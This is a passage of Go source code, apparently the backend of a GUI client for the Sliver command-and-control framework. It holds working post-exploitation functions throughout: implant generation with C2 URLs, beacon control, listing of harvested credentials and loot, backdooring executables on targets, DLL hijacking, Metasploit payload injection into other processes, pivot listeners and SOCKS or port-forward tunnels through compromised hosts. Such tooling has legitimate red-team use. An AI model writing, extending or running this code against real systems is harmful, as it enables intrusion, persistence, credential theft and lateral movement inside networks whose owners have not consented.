BindAddress: bindAddr,
BindPort: uint32(bindPort),
ForwardAddress: fwdAddr,
ForwardPort: uint32(fwdPort),
Request: &commonpb.Request{SessionID: sessionID},
})
return err
}
func (a *App) ListRportFwds(sessionID string) ([]RportFwdView, error) {
client, err := a.requireClient()
if err != nil {
return nil, err
}
resp, err := client.RPC.GetRportFwdListeners(a.ctx, &sliverpb.RportFwdListenersReq{
Request: &commonpb.Request{SessionID: sessionID},
})
if err != nil {
return nil, err
}
out := make([]RportFwdView, 0, len(resp.Listeners))
for _, l := range resp.Listeners {
out = append(out, RportFwdView{
ID: l.ID,
Bind: fmt.Sprintf("%s:%d", l.BindAddress, l.BindPort),
Forward: fmt.Sprintf("%s:%d", l.ForwardAddress, l.ForwardPort),
})
}
return out, nil
}
func (a *App) StopRportFwd(sessionID string, id uint32) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.StopRportFwdListener(a.ctx, &sliverpb.RportFwdStopListenerReq{
ID: id,
Request: &commonpb.Request{SessionID: sessionID},
})
return err
}
// ReconfigureBeacon changes a live beacon's check-in interval/jitter (seconds).
// Applied on the beacon's next check-in.
func (a *App) ReconfigureBeacon(beaconID string, interval, jitter int64) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.Reconfigure(a.ctx, &sliverpb.ReconfigureReq{
BeaconInterval: interval * int64(time.Second),
BeaconJitter: jitter * int64(time.Second),
Request: &commonpb.Request{BeaconID: beaconID, Async: true},
})
return err
}
// InteractiveBeacon asks a beacon to open an interactive session on next check-in.
func (a *App) InteractiveBeacon(beaconID string) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.OpenSession(a.ctx, &sliverpb.OpenSession{
Request: &commonpb.Request{BeaconID: beaconID, Async: true},
})
return err
}
// ─── Regenerate / Hosts / Creds (server) ────────────────────────────────────────
// RegenerateBuild re-downloads a previously built implant by name and saves it.
func (a *App) RegenerateBuild(name string) TransferResult {
client, err := a.requireClient()
if err != nil {
return TransferResult{Error: err.Error()}
}
resp, err := client.RPC.Regenerate(a.ctx, &clientpb.RegenerateReq{ImplantName: name})
if err != nil {
return TransferResult{Error: err.Error()}
}
if resp.File == nil {
return TransferResult{Error: "no stored build for " + name}
}
savePath, err := a.safeSaveFileDialog(runtime.SaveDialogOptions{
DefaultFilename: resp.File.Name,
Title: "Save regenerated implant",
})
if err != nil || savePath == "" {
return TransferResult{Error: "save cancelled"}
}
if err := os.WriteFile(savePath, resp.File.Data, 0755); err != nil {
return TransferResult{Error: err.Error()}
}
return TransferResult{Path: savePath, Bytes: int64(len(resp.File.Data))}
}
type HostView struct {
ID string `json:"id"`
Hostname string `json:"hostname"`
OS string `json:"os"`
UUID string `json:"uuid"`
Locale string `json:"locale"`
FirstSeen string `json:"firstSeen"`
}
func (a *App) ListHosts() ([]HostView, error) {
client, err := a.requireClient()
if err != nil {
return nil, err
}
resp, err := client.RPC.Hosts(a.ctx, &commonpb.Empty{})
if err != nil {
return nil, err
}
out := make([]HostView, 0, len(resp.Hosts))
for _, h := range resp.Hosts {
fs := ""
if h.FirstContact > 0 {
fs = time.Unix(h.FirstContact, 0).Format("2006-01-02 15:04")
}
out = append(out, HostView{ID: h.ID, Hostname: h.Hostname, OS: h.OSVersion, UUID: h.HostUUID, Locale: h.Locale, FirstSeen: fs})
}
return out, nil
}
func (a *App) DeleteHost(hostID string) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.HostRm(a.ctx, &clientpb.Host{ID: hostID})
return err
}
type CredView struct {
ID string `json:"id"`
Username string `json:"username"`
Plain string `json:"plaintext"`
Hash string `json:"hash"`
Cracked bool `json:"cracked"`
}
func (a *App) ListCreds() ([]CredView, error) {
client, err := a.requireClient()
if err != nil {
return nil, err
}
resp, err := client.RPC.Creds(a.ctx, &commonpb.Empty{})
if err != nil {
return nil, err
}
out := make([]CredView, 0, len(resp.Credentials))
for _, c := range resp.Credentials {
out = append(out, CredView{ID: c.ID, Username: c.Username, Plain: c.Plaintext, Hash: c.Hash, Cracked: c.IsCracked})
}
return out, nil
}
func (a *App) AddCred(username, plaintext, hash string) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.CredsAdd(a.ctx, &clientpb.Credentials{
Credentials: []*clientpb.Credential{{Username: username, Plaintext: plaintext, Hash: hash}},
})
return err
}
func (a *App) DeleteCred(id string) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.CredsRm(a.ctx, &clientpb.Credentials{
Credentials: []*clientpb.Credential{{ID: id}},
})
return err
}
// ─── Websites / Canaries (server) ───────────────────────────────────────────────
type WebsiteView struct {
ID string `json:"id"`
Name string `json:"name"`
Paths int `json:"paths"`
}
func (a *App) ListWebsites() ([]WebsiteView, error) {
client, err := a.requireClient()
if err != nil {
return nil, err
}
resp, err := client.RPC.Websites(a.ctx, &commonpb.Empty{})
if err != nil {
return nil, err
}
out := make([]WebsiteView, 0, len(resp.Websites))
for _, w := range resp.Websites {
out = append(out, WebsiteView{ID: w.ID, Name: w.Name, Paths: len(w.Contents)})
}
return out, nil
}
func (a *App) RemoveWebsite(name string) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.WebsiteRemove(a.ctx, &clientpb.Website{Name: name})
return err
}
type CanaryView struct {
Domain string `json:"domain"`
ImplantName string `json:"implantName"`
Triggered bool `json:"triggered"`
Count uint32 `json:"count"`
Latest string `json:"latest"`
}
func (a *App) ListCanaries() ([]CanaryView, error) {
client, err := a.requireClient()
if err != nil {
return nil, err
}
resp, err := client.RPC.Canaries(a.ctx, &commonpb.Empty{})
if err != nil {
return nil, err
}
out := make([]CanaryView, 0, len(resp.Canaries))
for _, c := range resp.Canaries {
out = append(out, CanaryView{Domain: c.Domain, ImplantName: c.ImplantName, Triggered: c.Triggered, Count: c.Count, Latest: c.LatestTrigger})
}
return out, nil
}
// StartStagerListener starts a TCP stager listener that serves a stage built
// from a saved implant profile.
func (a *App) StartStagerListener(host string, port uint32, profileName string) (uint32, error) {
client, err := a.requireClient()
if err != nil {
return 0, err
}
resp, err := client.RPC.StartTCPStagerListener(a.ctx, &clientpb.StagerListenerReq{
Host: host,
Port: port,
ProfileName: profileName,
})
if err != nil {
return 0, err
}
return resp.JobID, nil
}
// ─── Post-exploitation: backdoor / dllhijack / msf (session) ─────────────────────
// Backdoor injects an implant (from a profile) into an existing PE on the target.
func (a *App) Backdoor(sessionID, remoteFilePath, profileName string) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.Backdoor(a.ctx, &clientpb.BackdoorReq{
FilePath: remoteFilePath,
ProfileName: profileName,
Request: &commonpb.Request{SessionID: sessionID},
})
return err
}
// DllHijack plants a hijacking DLL at TargetLocation, cloning exports from a
// reference DLL and embedding an implant (from a profile).
func (a *App) DllHijack(sessionID, referenceDLLPath, targetLocation, profileName string) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.HijackDLL(a.ctx, &clientpb.DllHijackReq{
ReferenceDLLPath: referenceDLLPath,
TargetLocation: targetLocation,
ProfileName: profileName,
Request: &commonpb.Request{SessionID: sessionID},
})
return err
}
// MsfInject runs a Metasploit payload in the session's own process.
func (a *App) MsfInject(sessionID, payload, lhost string, lport uint32) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.Msf(a.ctx, &clientpb.MSFReq{
Payload: payload,
LHost: lhost,
LPort: lport,
Request: &commonpb.Request{SessionID: sessionID},
})
return err
}
// MsfRemoteInject runs a Metasploit payload injected into another process (pid).
func (a *App) MsfRemoteInject(sessionID, payload, lhost string, lport, pid uint32) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.MsfRemote(a.ctx, &clientpb.MSFRemoteReq{
Payload: payload,
LHost: lhost,
LPort: lport,
PID: pid,
Request: &commonpb.Request{SessionID: sessionID},
})
return err
}
// ─── WireGuard tunneling (session, WG implants) ─────────────────────────────────
func (a *App) WGStartPortForward(sessionID string, localPort int, remoteAddr string) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.WGStartPortForward(a.ctx, &sliverpb.WGPortForwardStartReq{
LocalPort: int32(localPort),
RemoteAddress: remoteAddr,
Request: &commonpb.Request{SessionID: sessionID},
})
return err
}
func (a *App) WGStopPortForward(sessionID string, id int) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.WGStopPortForward(a.ctx, &sliverpb.WGPortForwardStopReq{
ID: int32(id),
Request: &commonpb.Request{SessionID: sessionID},
})
return err
}
func (a *App) WGStartSocks(sessionID string, port int) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.WGStartSocks(a.ctx, &sliverpb.WGSocksStartReq{
Port: int32(port),
Request: &commonpb.Request{SessionID: sessionID},
})
return err
}
func (a *App) WGStopSocks(sessionID string, id int) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.WGStopSocks(a.ctx, &sliverpb.WGSocksStopReq{
ID: int32(id),
Request: &commonpb.Request{SessionID: sessionID},
})
return err
}
// ─── Loot ────────────────────────────────────────────────────────────────────
type LootView struct {
ID string `json:"id"`
Name string `json:"name"`
Type string `json:"type"`
}
func (a *App) GetLoot() ([]LootView, error) {
client, err := a.requireClient()
if err != nil {
return nil, err
}
resp, err := client.RPC.LootAll(a.ctx, &commonpb.Empty{})
if err != nil {
return nil, err
}
out := make([]LootView, 0, len(resp.Loot))
for _, l := range resp.Loot {
// clientpb.Loot has no Type/Credential field in v1.7.3 — only FileType.
out = append(out, LootView{ID: l.ID, Name: l.Name, Type: l.FileType.String()})
}
return out, nil
}
func (a *App) DeleteLoot(lootID string) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.LootRm(a.ctx, &clientpb.Loot{ID: lootID})
return err
}
// LootFile downloads a file from a session and saves it into the teamserver's
// shared loot store (Sliver's `download --loot`). It's now available to every
// operator on the team, and survives the session.
func (a *App) LootFile(sessionID, remotePath string) error {
client, err := a.requireClient()
if err != nil {
return err
}
resp, err := client.RPC.Download(a.ctx, &sliverpb.DownloadReq{
Path: remotePath,
RestrictedToFile: true,
Request: &commonpb.Request{SessionID: sessionID},
})
if err != nil {
return err
}
if resp.IsDir {
return fmt.Errorf("%s is a directory — loot a single file", remotePath)
}
data, err := decodeDownload(resp)
if err != nil {
return err
}
base := filepath.Base(remotePath)
_, err = client.RPC.LootAdd(a.ctx, &clientpb.Loot{
Name: base,
File: &commonpb.File{Name: base, Data: data},
})
return err
}
// DownloadLoot fetches a loot item's content from the teamserver and saves it
// locally via a native dialog (Sliver's `loot fetch`).
func (a *App) DownloadLoot(lootID string) TransferResult {
client, err := a.requireClient()
if err != nil {
return TransferResult{Error: err.Error()}
}
resp, err := client.RPC.LootContent(a.ctx, &clientpb.Loot{ID: lootID})
if err != nil {
return TransferResult{Error: err.Error()}
}
if resp.File == nil {
return TransferResult{Error: "this loot item has no file content"}
}
savePath, err := a.safeSaveFileDialog(runtime.SaveDialogOptions{
DefaultFilename: resp.File.Name,
Title: "Save loot",
})
if err != nil || savePath == "" {
return TransferResult{Error: "save cancelled"}
}
if err := os.WriteFile(savePath, resp.File.Data, 0644); err != nil {
return TransferResult{Error: err.Error()}
}
return TransferResult{Path: savePath, Bytes: int64(len(resp.File.Data))}
}
// ─── Build History ────────────────────────────────────────────────────────────
type BuildView struct {
Name string `json:"name"`
GOOS string `json:"goos"`
GOARCH string `json:"goarch"`
Format string `json:"format"`
Debug bool `json:"debug"`
C2URLs []string `json:"c2Urls"`
}
func (a *App) GetBuildHistory() ([]BuildView, error) {
client, err := a.requireClient()
if err != nil {
return nil, err
}
resp, err := client.RPC.ImplantBuilds(a.ctx, &commonpb.Empty{})
if err != nil {
return nil, err
}
out := make([]BuildView, 0, len(resp.Configs))
for name, cfg := range resp.Configs {
urls := make([]string, 0, len(cfg.C2))
for _, c := range cfg.C2 {
urls = append(urls, c.URL)
}
out = append(out, BuildView{
Name: name,
GOOS: cfg.GOOS,
GOARCH: cfg.GOARCH,
Format: cfg.Format.String(),
Debug: cfg.Debug,
C2URLs: urls,
})
}
return out, nil
}
// DeleteBuild removes a saved implant build from the teamserver by name. Useful
// for clearing a stale record (e.g. a build that saved server-side but failed to
// download) that would otherwise trip the UNIQUE name constraint on regenerate.
func (a *App) DeleteBuild(name string) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.DeleteImplantBuild(a.ctx, &clientpb.DeleteReq{Name: name})
return err
}
// ─── Beacons ─────────────────────────────────────────────────────────────────
type BeaconView struct {
ID string `json:"id"`
Name string `json:"name"`
Hostname string `json:"hostname"`
Username string `json:"username"`
OS string `json:"os"`
Arch string `json:"arch"`
Transport string `json:"transport"`
RemoteAddr string `json:"remoteAddress"`
PID int32 `json:"pid"`
Interval int64 `json:"interval"`
Jitter int64 `json:"jitter"`
LastCheckin string `json:"lastCheckin"`
NextCheckin string `json:"nextCheckin"`
IsDead bool `json:"isDead"`
}
func (a *App) ListBeacons() ([]BeaconView, error) {
client, err := a.requireClient()
if err != nil {
return nil, err
}
resp, err := client.RPC.GetBeacons(a.ctx, &commonpb.Empty{})
if err != nil {
return nil, err
}
out := make([]BeaconView, 0, len(resp.Beacons))
for _, b := range resp.Beacons {
out = append(out, BeaconView{
ID: b.ID,
Name: b.Name,
Hostname: b.Hostname,
Username: b.Username,
OS: b.OS,
Arch: b.Arch,
Transport: b.Transport,
RemoteAddr: b.RemoteAddress,
PID: b.PID,
Interval: b.Interval,
Jitter: b.Jitter,
LastCheckin: time.Unix(b.LastCheckin, 0).Format("15:04:05"),
NextCheckin: time.Unix(b.NextCheckin, 0).Format("15:04:05"),
IsDead: b.IsDead,
})
}
return out, nil
}
func (a *App) KillBeacon(beaconID string) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.RmBeacon(a.ctx, &clientpb.Beacon{ID: beaconID})
return err
}
// ─── Operators ────────────────────────────────────────────────────────────────
type OperatorView struct {
Name string `json:"name"`
Online bool `json:"online"`
}
func (a *App) ListOperators() ([]OperatorView, error) {
client, err := a.requireClient()
if err != nil {
return nil, err
}
ops, err := client.ListOperators(a.ctx)
if err != nil {
return nil, err
}
out := make([]OperatorView, 0, len(ops))
for _, o := range ops {
out = append(out, OperatorView{Name: o.Name, Online: o.Online})
}
return out, nil
}
// ─── Listeners / Jobs ─────────────────────────────────────────────────────────
type JobView struct {
ID uint32 `json:"id"`
Name string `json:"name"`
Protocol string `json:"protocol"`
Port uint32 `json:"port"`
}
func (a *App) ListJobs() ([]JobView, error) {
client, err := a.requireClient()
if err != nil {
return nil, err
}
resp, err := client.RPC.GetJobs(a.ctx, &commonpb.Empty{})
if err != nil {
return nil, err
}
out := make([]JobView, 0, len(resp.Active))
for _, j := range resp.Active {
out = append(out, JobView{ID: j.ID, Name: j.Name, Protocol: j.Protocol, Port: j.Port})
}
return out, nil
}
func (a *App) KillJob(jobID uint32) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.KillJob(a.ctx, &clientpb.KillJobReq{ID: jobID})
return err
}
type StartMTLSReq struct {
Host string `json:"host"`
Port uint32 `json:"port"`
}
func (a *App) StartMTLSListener(req StartMTLSReq) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.StartMTLSListener(a.ctx, &clientpb.MTLSListenerReq{Host: req.Host, Port: req.Port})
return err
}
type StartHTTPReq struct {
Host string `json:"host"`
Port uint32 `json:"port"`
Secure bool `json:"secure"`
}
func (a *App) StartHTTPListener(req StartHTTPReq) error {
client, err := a.requireClient()
if err != nil {
return err
}
if req.Secure {
_, err = client.RPC.StartHTTPSListener(a.ctx, &clientpb.HTTPListenerReq{Host: req.Host, Port: req.Port})
} else {
_, err = client.RPC.StartHTTPListener(a.ctx, &clientpb.HTTPListenerReq{Host: req.Host, Port: req.Port})
}
return err
}
type StartDNSReq struct {
Domains []string `json:"domains"`
}
func (a *App) StartDNSListener(req StartDNSReq) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.StartDNSListener(a.ctx, &clientpb.DNSListenerReq{Domains: req.Domains})
return err
}
type StartWGReq struct {
Port uint32 `json:"port"`
NPort uint32 `json:"nPort"`
KeyPort uint32 `json:"keyPort"`
}
func (a *App) StartWGListener(req StartWGReq) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.StartWGListener(a.ctx, &clientpb.WGListenerReq{Port: req.Port, NPort: req.NPort, KeyPort: req.KeyPort})
return err
}
// ─── C2 Profiles ─────────────────────────────────────────────────────────────
type C2ProfileView struct {
Name string `json:"name"`
}
func (a *App) ListC2Profiles() ([]C2ProfileView, error) {
client, err := a.requireClient()
if err != nil {
return nil, err
}
profiles, err := client.ListHTTPC2Profiles(a.ctx)
if err != nil {
return nil, err
}
out := make([]C2ProfileView, 0, len(profiles))
for _, p := range profiles {
out = append(out, C2ProfileView{Name: p.Name})
}
return out, nil
}
// ListenerC2Options returns ready-to-use C2 URLs built from the active listeners,
// so the Generate form can offer a dropdown that auto-fills a valid C2 URL. The
// host is taken from the teamserver address the operator connected to.
func (a *App) ListenerC2Options() ([]string, error) {
client, err := a.requireClient()
if err != nil {
return nil, err
}
resp, err := client.RPC.GetJobs(a.ctx, &commonpb.Empty{})
if err != nil {
return nil, err
}
host := client.Config.LHost
out := []string{}
for _, j := range resp.Active {
// Job.Protocol is the transport ("tcp"/"udp"); the C2 scheme is in
// Job.Name ("mtls"/"http"/"https"/"dns"/"wg"). Derive the scheme from the
// name and skip non-C2 jobs (e.g. the operator/gRPC listener) so we never
// point an implant at the teamserver's operator port.
name := strings.ToLower(j.Name)
var scheme string
switch {
case strings.Contains(name, "mtls"):
scheme = "mtls"
case strings.Contains(name, "https"):
scheme = "https"
case strings.Contains(name, "http"):
scheme = "http"
case strings.Contains(name, "dns"):
scheme = "dns"
case strings.Contains(name, "wg"), strings.Contains(name, "wireguard"):
scheme = "wg"
default:
continue // not a C2 listener we can build a URL for
}
out = append(out, fmt.Sprintf("%s://%s:%d", scheme, host, j.Port))
}
return out, nil
}
// ─── Implant Generation ───────────────────────────────────────────────────────
type GenerateRequest struct {
Name string `json:"name"`
GOOS string `json:"goos"`
GOARCH string `json:"goarch"`
Format string `json:"format"`
C2URL string `json:"c2Url"`
Debug bool `json:"debug"`
Beacon bool `json:"beacon"` // generate in beacon mode instead of session mode
Interval int64 `json:"interval"` // beacon check-in interval, seconds
Jitter int64 `json:"jitter"` // beacon jitter, seconds
}
type GenerateResult struct {
File string `json:"file"`
Name string `json:"name"`
Error string `json:"error,omitempty"`
}
// firstHTTPC2ProfileName returns the name of the first HTTP C2 profile the
// teamserver knows about, or "" if there are none. Used to pick a valid
// HTTPC2ConfigName when generating an HTTP(S) implant.
func (a *App) firstHTTPC2ProfileName() (string, error) {
client, err := a.requireClient()
if err != nil {
return "", err
}
profiles, err := client.ListHTTPC2Profiles(a.ctx)
if err != nil {
return "", err
}
// Prefer one literally named "default" if present, else the first.
for _, p := range profiles {
if strings.EqualFold(p.Name, "default") {
return p.Name, nil
}
}
if len(profiles) > 0 {
return profiles[0].Name, nil
}
return "", nil
}
func (a *App) GenerateImplant(req GenerateRequest) GenerateResult {
client, err := a.requireClient()
if err != nil {
return GenerateResult{Error: err.Error()}
}
if strings.TrimSpace(req.C2URL) == "" {
return GenerateResult{Error: "a C2 URL is required (select a listener or enter one)"}
}
cfg := a.buildImplantConfig(req)
// Build names must be unique in the teamserver DB (UNIQUE constraint on
// implant_builds.name). If the operator left the name blank, synthesise a
// unique one so repeated generates never collide.
autoName := strings.TrimSpace(req.Name) == ""
name := strings.TrimSpace(req.Name)
if autoName {
name = fmt.Sprintf("%s-%s-%s", req.GOOS, req.GOARCH, randSuffix())
}
genReq := &clientpb.GenerateReq{
Name: name,
Config: cfg,
}
// Generate, retrying with a fresh random name on a UNIQUE-constraint
// collision (the teamserver keys implant_builds by name). Only auto-retry
// when the operator didn't supply their own name.
var resp *clientpb.Generate
for attempt := 0; attempt < 5; attempt++ {
resp, err = client.GenerateImplant(a.ctx, genReq)
if err == nil {
break
}
if !strings.Contains(err.Error(), "UNIQUE constraint") {
return GenerateResult{Error: err.Error()}
}
if !autoName {
return GenerateResult{Error: fmt.Sprintf("a build named %q already exists — delete it in the Builds panel or choose another name", name)}
}
genReq.Name = fmt.Sprintf("%s-%s-%s", req.GOOS, req.GOARCH, randSuffix())
}
if err != nil {
return GenerateResult{Error: "build name keeps colliding after several tries — the teamserver may derive the build name from the config; delete old builds in the Builds panel and retry: " + err.Error()}
}
if resp.File == nil {
return GenerateResult{Error: "server returned an empty build"}
}
// The build is now stored on the teamserver. We deliberately do NOT open a
// save dialog here: doing so blocked this call (and kept the "Building…"
// spinner up) on a modal dialog that could open behind the window. Instead we
// return the build name and let the frontend offer "Save to disk", which
// calls RegenerateBuild(name) on a user click — a dialog raised by a direct
// gesture gets focus, and the spinner is already gone.
a.audit.log("generate", genReq.Name, fmt.Sprintf("%s/%s", req.GOOS, req.GOARCH))
return GenerateResult{Name: genReq.Name}
}
// randSuffix returns 8 random hex chars, used to make auto-generated implant
// names unique so repeated blank-name generates never collide in the DB.
func randSuffix() string {
b := make([]byte, 4)
if _, err := rand.Read(b); err != nil {
// crypto/rand should never fail; fall back to a nanosecond timestamp.
return fmt.Sprintf("%d", time.Now().UnixNano())
}
return hex.EncodeToString(b)
}
// schemeOf returns the URL scheme (the part before "://"), e.g. "mtls" for
// "mtls://host:port". Returns "" if there is no scheme separator.
func schemeOf(url string) string {
if i := strings.Index(url, "://"); i >= 0 {
return url[:i]
}
return ""
}
func formatFromString(s string) clientpb.OutputFormat {
switch s {
case "shared":
return clientpb.OutputFormat_SHARED_LIB
case "service":
return clientpb.OutputFormat_SERVICE
case "shellcode":
return clientpb.OutputFormat_SHELLCODE
default:
return clientpb.OutputFormat_EXECUTABLE
}
}
// ─── Pivot Listeners (per-session) ─────────────────────────────────────────────
type PivotView struct {
ID string `json:"id"`
Type string `json:"type"`
BindAddress string `json:"bindAddress"`
}
func (a *App) ListPivots(sessionID string) ([]PivotView, error) {
client, err := a.requireClient()
if err != nil {
return nil, err
}
resp, err := client.RPC.PivotSessionListeners(a.ctx, &sliverpb.PivotListenersReq{
Request: &commonpb.Request{SessionID: sessionID},
})
if err != nil {
return nil, err
}
out := make([]PivotView, 0, len(resp.Listeners))
for _, l := range resp.Listeners {
out = append(out, PivotView{
ID: fmt.Sprintf("%d", l.ID),
Type: l.Type.String(),
BindAddress: l.BindAddress,
})
}
return out, nil
}
// StartPivotListener starts a TCP or named-pipe pivot on the implant.
// pivotType: "tcp" or "pipe". bindAddress e.g. "0.0.0.0:9898" (tcp) or a pipe name.
func (a *App) StartPivotListener(sessionID, pivotType, bindAddress string) error {
client, err := a.requireClient()
if err != nil {
return err
}
pt := sliverpb.PivotType_TCP
if strings.Contains(strings.ToLower(pivotType), "pipe") {
pt = sliverpb.PivotType_NamedPipe
}
_, err = client.RPC.PivotStartListener(a.ctx, &sliverpb.PivotStartListenerReq{
Type: pt,
BindAddress: bindAddress,
Request: &commonpb.Request{SessionID: sessionID},
})
return err
}
func (a *App) StopPivotListener(sessionID string, pivotID uint32) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.PivotStopListener(a.ctx, &sliverpb.PivotStopListenerReq{
ID: pivotID,
Request: &commonpb.Request{SessionID: sessionID},
})
return err
}
// ─── SOCKS5 Proxy ──────────────────────────────────────────────────────────────
//
// The Sliver implant runs the actual SOCKS5 server; the client side just relays
// raw TCP bytes over a SocksProxy bidi stream. We open one stream per accepted
// local connection with a unique TunnelID, and copy bytes in both directions.
type socksProxyHandle struct {
localPort int
cancel context.CancelFunc
listener net.Listener
}
func (a *App) StartSocksProxy(sessionID string, localPort int) error {
client, err := a.requireClient()
if err != nil {
return err
}
a.advMu.Lock()
if _, ok := a.socks[sessionID]; ok {
a.advMu.Unlock()
return fmt.Errorf("a SOCKS5 proxy is already running for this session")
}
a.advMu.Unlock()
ln, err := net.Listen("tcp", fmt.Sprintf("127.0.0.1:%d", localPort))
if err != nil {
return fmt.Errorf("listen on 127.0.0.1:%d: %w", localPort, err)
}
ctx, cancel := context.WithCancel(a.ctx)
a.advMu.Lock()
a.socks[sessionID] = &socksProxyHandle{localPort: localPort, cancel: cancel, listener: ln}
a.advMu.Unlock()
go a.runSocks(ctx, client, sessionID, ln)
return nil
}
func (a *App) StopSocksProxy(sessionID string) error {
a.advMu.Lock()
h := a.socks[sessionID]
delete(a.socks, sessionID)
a.advMu.Unlock()
if h == nil {
return fmt.Errorf("no SOCKS5 proxy running for this session")
}
h.listener.Close()
h.cancel()
return nil
}
// SocksProxyStatus returns the local port for an active proxy, or 0 if none.
func (a *App) SocksProxyStatus(sessionID string) int {
a.advMu.Lock()
defer a.advMu.Unlock()
if h := a.socks[sessionID]; h != nil {
return h.localPort
}
return 0
}
func (a *App) runSocks(ctx context.Context, client *sliverclient.Client, sessionID string, ln net.Listener) {
go func() { <-ctx.Done(); ln.Close() }()
for {
conn, err := ln.Accept()
if err != nil {
return
}
go a.socksHandleConn(ctx, client, sessionID, conn)
}
}
func (a *App) socksHandleConn(ctx context.Context, client *sliverclient.Client, sessionID string, conn net.Conn) {
defer conn.Close()
// Register a socks tunnel with the teamserver first so the server can route
// this stream's frames to the implant's SOCKS server by TunnelID.
sk, err := client.RPC.CreateSocks(ctx, &sliverpb.Socks{SessionID: sessionID})
if err != nil {
return
}
tunnelID := sk.TunnelID
stream, err := client.RPC.SocksProxy(ctx)
if err != nil {
return
}
defer func() { _, _ = client.RPC.CloseSocks(ctx, &sliverpb.Socks{TunnelID: tunnelID}) }()
var seq uint64
// stream -> local conn
go func() {
for {
data, err := stream.Recv()
if err != nil {
conn.Close()
return
}
if len(data.Data) > 0 {
if _, werr := conn.Write(data.Data); werr != nil {
return
}
}
if data.CloseConn {
conn.Close()
return
}
}
}()
// local conn -> stream
buf := make([]byte, 4096)
for {
n, rerr := conn.Read(buf)
if n > 0 {
if serr := stream.Send(&sliverpb.SocksData{
TunnelID: tunnelID,
Data: append([]byte(nil), buf[:n]...),
Sequence: seq,
Request: &commonpb.Request{SessionID: sessionID},
}); serr != nil {
break
}
seq++
}
if rerr != nil {
break
}
}
_ = stream.Send(&sliverpb.SocksData{
TunnelID: tunnelID,
CloseConn: true,
Sequence: seq,
Request: &commonpb.Request{SessionID: sessionID},
})
_ = stream.CloseSend()
}
// ─── Port Forwarding ───────────────────────────────────────────────────────────
//
// Same raw-relay pattern as SOCKS5, but over the generic Tunnel API. Each local
// connection creates a tunnel and a TunnelData bidi stream, and we copy bytes.
//
// NOTE: the remote target is sent as the first TunnelData frame so the implant
// knows where to dial. Verify this handshake against your sliver v1.7.3 implant
// on-device — if the implant expects the target elsewhere this is the one spot
// to adjust; the byte-relay loop below is protocol-agnostic.
type portfwdHandle struct {
localPort int
remote string
cancel context.CancelFunc
listener net.Listener
}
type PortForwardView struct {
LocalPort int `json:"localPort"`
Remote string `json:"remote"`
}
func (a *App) AddPortForward(sessionID string, localPort int, remoteHost string, remotePort int) error {
client, err := a.requireClient()
if err != nil {
return err
}
remote := fmt.Sprintf("%s:%d", remoteHost, remotePort)
ln, err := net.Listen("tcp", fmt.Sprintf("127.0.0.1:%d", localPort))
if err != nil {
return fmt.Errorf("listen on 127.0.0.1:%d: %w", localPort, err)
}
ctx, cancel := context.WithCancel(a.ctx)
a.advMu.Lock()
a.portfwds[sessionID] = append(a.portfwds[sessionID], &portfwdHandle{
localPort: localPort, remote: remote, cancel: cancel, listener: ln,
})
a.advMu.Unlock()
go a.runPortfwd(ctx, client, sessionID, remote, ln)
return nil
}
func (a *App) RemovePortForward(sessionID string, localPort int) error {
a.advMu.Lock()
defer a.advMu.Unlock()
list := a.portfwds[sessionID]
for i, h := range list {
if h.localPort == localPort {
h.listener.Close()
h.cancel()
a.portfwds[sessionID] = append(list[:i], list[i+1:]...)
return nil
}
}
return fmt.Errorf("no port forward on local port %d", localPort)
}
func (a *App) ListPortForwards(sessionID string) ([]PortForwardView, error) {
a.advMu.Lock()
defer a.advMu.Unlock()
list := a.portfwds[sessionID]
out := make([]PortForwardView, 0, len(list))
for _, h := range list {
out = append(out, PortForwardView{LocalPort: h.localPort, Remote: h.remote})
}
return out, nil
}
func (a *App) runPortfwd(ctx context.Context, client *sliverclient.Client, sessionID, remote string, ln net.Listener) {
go func() { <-ctx.Done(); ln.Close() }()
for {
conn, err := ln.Accept()
if err != nil {
return
}
go a.portfwdHandleConn(ctx, client, sessionID, remote, conn)
}
}
func (a *App) portfwdHandleConn(ctx context.Context, client *sliverclient.Client, sessionID, remote string, conn net.Conn) {
defer conn.Close()
rpcTunnel, err := client.RPC.CreateTunnel(ctx, &sliverpb.Tunnel{SessionID: sessionID})
if err != nil {
return
}
tunnelID := rpcTunnel.GetTunnelID()
stream, err := client.RPC.TunnelData(ctx)
if err != nil {
return
}
var seq uint64
// First frame: tell the implant where to dial (see NOTE above).
_ = stream.Send(&sliverpb.TunnelData{TunnelID: tunnelID, Data: []byte(remote), Sequence: seq})
seq++
// stream -> local conn
go func() {
for {
td, err := stream.Recv()
if err != nil {
conn.Close()
return
}
if len(td.Data) > 0 {
if _, werr := conn.Write(td.Data); werr != nil {
return
}
}
if td.Closed {
conn.Close()
return
}
}
}()
// local conn -> stream
buf := make([]byte, 4096)
for {
n, rerr := conn.Read(buf)
if n > 0 {
if serr := stream.Send(&sliverpb.TunnelData{
TunnelID: tunnelID,
Data: append([]byte(nil), buf[:n]...),
Sequence: seq,
}); serr != nil {
break
}
seq++
}
if rerr != nil {
break
}
}
